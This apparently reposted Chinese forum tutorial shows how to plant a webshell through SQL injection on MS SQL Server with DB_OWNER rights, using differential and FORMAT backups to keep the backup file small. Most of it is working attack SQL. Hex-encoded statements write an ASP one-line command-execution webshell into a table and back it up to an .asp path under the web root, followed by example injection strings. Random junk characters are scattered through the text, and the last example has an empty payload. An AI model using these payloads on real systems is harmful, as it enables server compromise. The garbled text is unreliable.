DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
/ e2 g, C9 F2 z' p4 A% I
一利用差异备份
/ a, Y4 F9 Q* j1 h+ I1 y0 F4 |加一个参数WITH DIFFERENTIAL

5 q: `+ A( t; d+ J: E+ _declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
) D& I3 b  b' K3 Q% G; w( B% X1 Ycreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
3 D& a% b, G; e" l$ Q& b; Tdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
加一个参数WITH FROMAT
" T7 F5 Y" t* g2 h( a( _有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
* v' y, ^, I& i" i4 H% Q; N! b6 Q+ m
( k7 g- _3 t, c) ^4 @/ n' wdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ z4 i7 U3 K; X' e, ^2 n; Z: {create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

& H( u) a0 ]3 {! b) B总的来说就是那么简单几句,下面以备份数据库model为例子

3 {2 U7 q; @6 E* X& y8 h8 Iid=1;use model create table cmd(str image);insert into cmd(str) values (”)

id=1;backup database model to disk=’你的路径‘ with differential,format;–
, a4 v1 x8 G. c2 `